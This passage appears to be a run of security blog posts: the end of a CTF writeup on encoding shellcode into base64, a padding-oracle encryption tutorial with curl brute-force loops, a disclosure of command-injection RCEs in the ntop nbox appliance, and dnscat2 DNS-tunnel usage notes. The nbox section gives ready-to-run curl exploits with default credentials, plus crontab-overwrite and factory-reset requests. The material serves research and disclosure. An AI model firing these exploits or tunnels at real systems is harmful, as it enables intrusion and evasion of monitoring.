000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000f0  03 20 80 00 0c fe fb ef  bf 00 00 00 00 00        |. ............|

Let's convert that into a string that we can use on the commandline by chaining together a bunch of shell commands:

echo -ne 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | xxd -g1 file | cut -b10-57 | tr -d '\n' | sed 's/ /\\x/g'
\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00

And, finally, feed all that into b-64-b-tuff:

$ echo -ne '\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00' | strace ./b-64-b-tuff
read(0, "\204\0\0\1~@\0\0\17<\363\317<\363\332\204\0c\215~@\v\357\217b\20\1\0\6u@\10"..., 4096) = 254
write(1, "Read 254 bytes!\n", 16Read 254 bytes!
)       = 16
write(1, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 340hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=) = 340
write(1, "\n", 1
)                       = 1
exit(1094795585)                        = ?
+++ exited with 65 +++

And, sure enough, it exited with the status that we wanted! Now that we've encoded 12 bytes of shellcode, we can encode any amount of arbitrary code that we choose to!

Summary

So that, ladies and gentlemen and everyone else, is how to encode some simple shellcode into base64 by hand. My solution does almost exactly those steps, but in an automated fashion. I also found a few shortcuts while writing the blog that aren't included in that code.

To summarize:

  • Pad the input to a multiple of 4 bytes
  • Break the input up into 4-byte blocks, and find an xor pair that generates each value
  • Set ecx to a value that's 0x41 bits before the encoded payload, which is half of the xor pairs
  • Put the other half the xor pair in-line, loaded into edx and xor'd with the encoded payload
  • If there are any MSB bits set, set edx to 0x80 and use the stack to shift them into the right place to be inserted with a xor
  • After all the xors, add padding that's base64-compatible, but is effectively a no-op, to bridge between the decoder and the encoded payload
  • End with the encoded stub (second half of the xor pairs)

When the code runs, it xors each pair, and writes it in-line to where the encoded value was. It sets the MSB bits as needed. The padding runs, which is an effective no-op, then finally the freshly decoded code runs.

It's complex, but hopefully this blog helps explain it!

Going the other way with padding oracles: Encrypting arbitrary data!

A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

The math

If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

We'll define our variables more or less the same as last time:

  Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
            the range of 1..N). We select this.
  Let C   = the corresponding ciphertext, and Cn = the ciphertext
            of block n (the first block being 1) - our goal is to calculate this
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition). PN is the last plaintext block, and CN is
            the last ciphertext block.
  Let IV  = the initialization vector — a random string — frequently
            (incorrectly) set to all zeroes. We'll mostly call this C0 in this
            post for simplicity (see below for an explanation).
  Let E() = a single-block encryption operation (any block encryption
            algorithm, such as AES or DES, it doesn't matter which), with some
            unique and unknown (to the attacker) secret key (that we don't
            notate here).
  Let D() = the corresponding decryption operation.

And the math for encryption:

  C1 = E(P1 ⊕ IV)
  Cn = E(Pn ⊕ Cn-1) — for all n > 1

And, of course, decryption:

  P1 = D(C1) ⊕ IV
  Pn = D(Cn) ⊕ Cn-1 - for all n > 1

Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

The attack

Like decryption, we divide the string into blocks, and attack one block at a time.

We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

Overview

After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

To encrypt arbitrary text with a padding oracle...

  • Select a string, P, that you want to generate ciphertext, C, for
  • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
  • Generate a block of random data (CN - ultimately, the final block of ciphertext)
  • For each block of plaintext, starting with the last one...
    • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
    • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
    • After determining the full block, XOR it with the plaintext block Pn to create Cn
    • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

A quick note about the IV

In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

Generate a fake block

The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

Let's have some fun:

  • Algorithm = "AES-256-CBC"
  • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
  • IV = 78228d4760a3675aa08d47694f88f639
  • Ciphertext = "IS THIS SECRET??"

The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

  2.3.0 :001 > require 'openssl'
   => true

  2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :003 > c.decrypt
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
   => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 

  2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
   => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 

  2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
   => "NO, NOT SECRET!" 

It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

Calculate a block of ciphertext

Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

  • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
  • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

Imagine the string:

  C' = 00000000000000000000000000000000 || CN
                ^^^ CN-1 ^^^               

Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

So we create a string like this:

  00000000000000000000000000000000 41414141414141414141414141414141
        ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^

The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

  • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

  • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
  • ...

And eventually, you'll get a success:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
Success!
http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
Fail!
...

We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
Fail!
...
http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
Success!
...

So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

...
http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
Success!
...

So now, when C'1 ends with 6c3704, P'2 ends with 030303.

We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

$ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
Success!

That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

  • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
  • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
  • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
  • Send it to the server to be decrypted...
$ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
Success

And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

(The block of garbage is a result of being unable to control the IV)

Calculating the next block of ciphertext

So now, where have we gotten ourselves?

We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

Let's take a new C' of:

000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
        ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^

We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
echo $URL
curl "$URL"
echo ''
done
...
http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
Success!
...

...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

So to put it in another way, we calculate:

  • CN = random / arbitrary
  • CN-1 = calculated from CN combined with PN
  • CN-2 = calculated from CN-1 combined with PN-1
  • CN-3 = calculated from CN-2 combined with PN-2
  • ...
  • C1 = calculated from C2 combined with P2
  • C0 (the IV) = calculated from C1 combined with P1

So as you can see, each block is based on the next ciphertext block and the next plaintext block.

Conclusion

Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!


Humble Hacking Bundle from No Starch Press

No Starch Press is teaming up with Humble Bundle again to raise money for the EFF, the Electronic Frontier Foundation. Pay $15.00 to help support the EFF and receive a bundle of thirteen eBook titles.
Some of the titles are: Hacking: The Art of Exploitation, Hacking the XBox, Automate the Boring Stuff with Python, Python Crash Course, Practical Malware and The Linux Command Line.

Any amount gets you four titles and a $15.00 donation gets you all 13. You decide how much goes to EFF, No Starch or Humble Bundle.

Details are at https://www.humblebundle.com/books/no-starch-hacking-books

dnscat2 0.05: with tunnels!

Greetings, and I hope you're all having a great holiday!

My Christmas present to you, the community, is dnscat2 version 0.05!

Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

Info and downloads.

High-level

There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.

On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.

That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.

Let's look at how to use it!

Usage

Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:

(server)

# ruby ./dnscat2.rb
New window created: 0

[...]

dnscat2>
(client)

$ ./dnscat --dns="server=localhost,port=53"
Creating DNS driver:
 domain = (null)
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = localhost

Encrypted session established! For added security, please verify the server also displays this string:

Encode Surfs Taking Spiced Finer Sonny

Session established!

We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).

Once you have a session set up, you want to tell the session to listen with the listen command:

New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Encode Surfs Taking Spiced Finer Sonny

dnscat2> session -i 1
[...]
dnscat2> listen 8080 www.google.com:80
Listening on 0.0.0.0:8080, sending connections to www.google.com:80

Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.

The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later).

Now we can connect to the server on port 8080 and request a page:

$ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
localhost [127.0.0.1] 8080 (http-alt) open
HTTP/1.0 200 OK
Date: Thu, 24 Dec 2015 16:28:27 GMT
Expires: -1
Cache-Control: private, max-age=0
[...]

On the server, we see the request going out:

command (ankh) 1> listen 8080 www.google.com:80
Listening on 0.0.0.0:8080, sending connections to www.google.com:80
command (ankh) 1>
Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
[Tunnel 0] connection successful!
[Tunnel 0] closed by the other side: Server closed the connection!
Connection from 123.151.42.61:48904; forwarding to www.google.com:80...

And you also see very similar messages on the client:

Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
[[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
[[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
[[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!

That's pretty much all you need to know! One more quick example:

To forward a ssh connection to an internal machine:

command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22

Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client!

Stopping a session

I frequently used auto-commands while testing this feature:

ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace

